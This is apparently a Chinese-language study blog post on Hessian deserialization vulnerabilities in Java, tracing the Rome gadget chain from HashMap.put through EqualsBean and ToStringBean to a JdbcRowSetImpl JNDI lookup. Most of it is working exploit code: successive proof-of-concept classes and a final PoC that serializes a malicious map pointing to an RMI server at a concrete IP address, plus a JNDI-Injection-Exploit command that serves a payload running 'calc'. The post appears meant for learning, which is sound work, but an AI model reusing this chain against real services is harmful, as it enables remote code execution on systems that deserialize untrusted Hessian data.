hessian
参考miku的(●´3`●)やれやれだぜ (viewofthai.link)
和fmyyy的Hessian反序列化漏洞 - Twings (gitee.io)
简介
mikugiegie:
Hessian 是一个轻量级的 Java 反序列化框架,和 Java 原生的序列化类似,相比起来 Hessian 更加高效并且非常适合二进制数据传输。
简单理解就是hessian可以实现序列化功能,类似于fastjson。然后也有关于他的反序列化漏洞
环境搭建
hessianMaven Repository: com.caucho » hessian » 4.0.63 (mvnrepository.com)
<!-- https://mvnrepository.com/artifact/com.caucho/hessian -->
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
maven搭建
了解一下hessian序列化和反序列化
student.java
import java.io.Serializable;
public class Student implements Serializable {
private String name;
public static String hobby = "eat";
transient private String address;
public void setName(String name) {
this.name = name;
}
public static void setHobby(String hobby) {
Student.hobby = hobby;
}
public void setAddress(String address) {
this.address = address;
}
public String getName() {
return name;
}
public static String getHobby() {
return hobby;
}
public String getAddress() {
return address;
}
}
demo.java
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
public class demo {
public static void main(String[] args) throws Exception{
Student stu = new Student();
stu.setAddress("A");
stu.setName("thaiii");
//序列化开始
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(stu);
output.close();
//序列化结束
Student.hobby = "drink";
//反序列化开始
ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
Hessian2Input input = new Hessian2Input(bis);
Student student = (Student) input.readObject();
//反序列化结束
System.out.println(student.getAddress());
System.out.println(student.getName());
System.out.println(stu.getHobby());
}
}
结论: 静态属性不能被序列化 transient 关键字修饰的属性不能被序列化
了解一下hessian
我们看一下Map的MapDeserializer.readMap
put方法让我们想起之前cc6链子开头中的 put
于是问题转化找到一条hashcode为开头的链子。
由于marshalsec 工具中已经集成了 Hessian 的 5 个 Gadgets,可以使用这个工具直接进行漏洞利用。
下面讲讲几条链子
Gadgets - Rome
依赖
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.24</version>
</dependency>
链子
HashMap.put -> hash
EqualsBean.hashCode -> beanHashCode
ToStringBean.toString -> getter.invoke
JdbcRowSetImpl.getDatabaseMetaData -> connect
JNDI 注入
对照一下rome(yso版本)
JdbcRowSetImpl.connect
由于调用了lookup函数,如果参数可控的话可以用来打rmi,jndi链子
进入getDataSourceName
查看dataSource
注释说支持jndi等
我们回去找一下哪里调用了conncet
JdbcRowSetImpl.getDatabaseMetaData
看到了prepare,但是太长了
看到了getDatabaseMetaData
public DatabaseMetaData getDatabaseMetaData() throws SQLException {
Connection var1 = this.connect();
return var1.getMetaData();
}
刚好是getter方法
找一下BaseRowSet的构造函数
尽管这个没什么用,但是我们看到了这个setDataSourceName
就可以构造链子了
先写个测试demo
import com.sun.rowset.JdbcRowSetImpl;
import java.lang.reflect.Field;
public class demo {
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://xxxxxx:xx/xxx");
jdbcRowSet.getDatabaseMetaData();
}
}
至于这个 rmi://xxxxxx:xx/xxx 可以使用工具https://github.com/welk1n/JNDI-Injection-Exploit/
开启1099,8180,1389,(尤其是前两个),在target目录下使用
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "8.129.42.140"
然后运行demo访问rmi
ToStringBean.toString()
里面的有参方法有个invoke可以实现任意函数调用
之前说过
也就是说可以类比一下,pReadMethod的name是getDatabaseMetaData,然后this._obj是JdbcRowSetImpl
poc1
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.lang.reflect.Field;
public class demo {
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://8.129.42.140:1099/rqqz1p");
// jdbcRowSet.getDatabaseMetaData();
ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
toStringbean.toString();
}
}
equalsBean.hashCode
poc
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javax.sql.rowset.JdbcRowSet;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
public class demo {
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://8.129.42.140:1099/rqqz1p");
// jdbcRowSet.getDatabaseMetaData();
ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
// toStringbean.toString();
EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean);
equalsBean.hashCode();
}
}
poc
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javax.sql.rowset.JdbcRowSet;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
public class demo {
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://8.129.42.140:1099/rqqz1p");
// jdbcRowSet.getDatabaseMetaData();
ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
// toStringbean.toString();
EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean);
// equalsBean.hashCode();
HashMap<Object,Object> map = new HashMap<>();
map.put(equalsBean, "bbb");
setValue(toStringbean, "_obj", jdbcRowSet);
// serialize(map);
// unserialize("ser.bin");
}
}
序列化入口
hessai和别人不一样,文章开头说了,炮制一下
原本
//序列化开始
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(stu); //对象写在这
output.close();
//序列化结束
Student.hobby = "drink";
//反序列化开始
ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
Hessian2Input input = new Hessian2Input(bis);
Student student = (Student) input.readObject();
//反序列化结束
炮制
//序列化开始
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(map); //对象写在这
output.close();
//序列化结束
//反序列化开始
ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
Hessian2Input input = new Hessian2Input(bis);
input.readObject();
//反序列化结束
最终poc
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javax.sql.rowset.JdbcRowSet;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class demo {
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://8.129.42.140:1099/rqqz1p");
// jdbcRowSet.getDatabaseMetaData();
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, new JdbcRowSetImpl());
// toStringBean.toString();
EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean);
// equalsBean.hashCode();
HashMap<Object,Object> map = new HashMap<>();
map.put(equalsBean, "bbb");
setValue(toStringBean, "obj", jdbcRowSet);
//序列化开始
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(map); //对象写在这
output.close();
//序列化结束
//反序列化开始
ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
Hessian2Input input = new Hessian2Input(bis);
input.readObject();
//反序列化结束
}
}
注意jdk版本差异,有时候_obj要改为obj,否则加载的时候会报错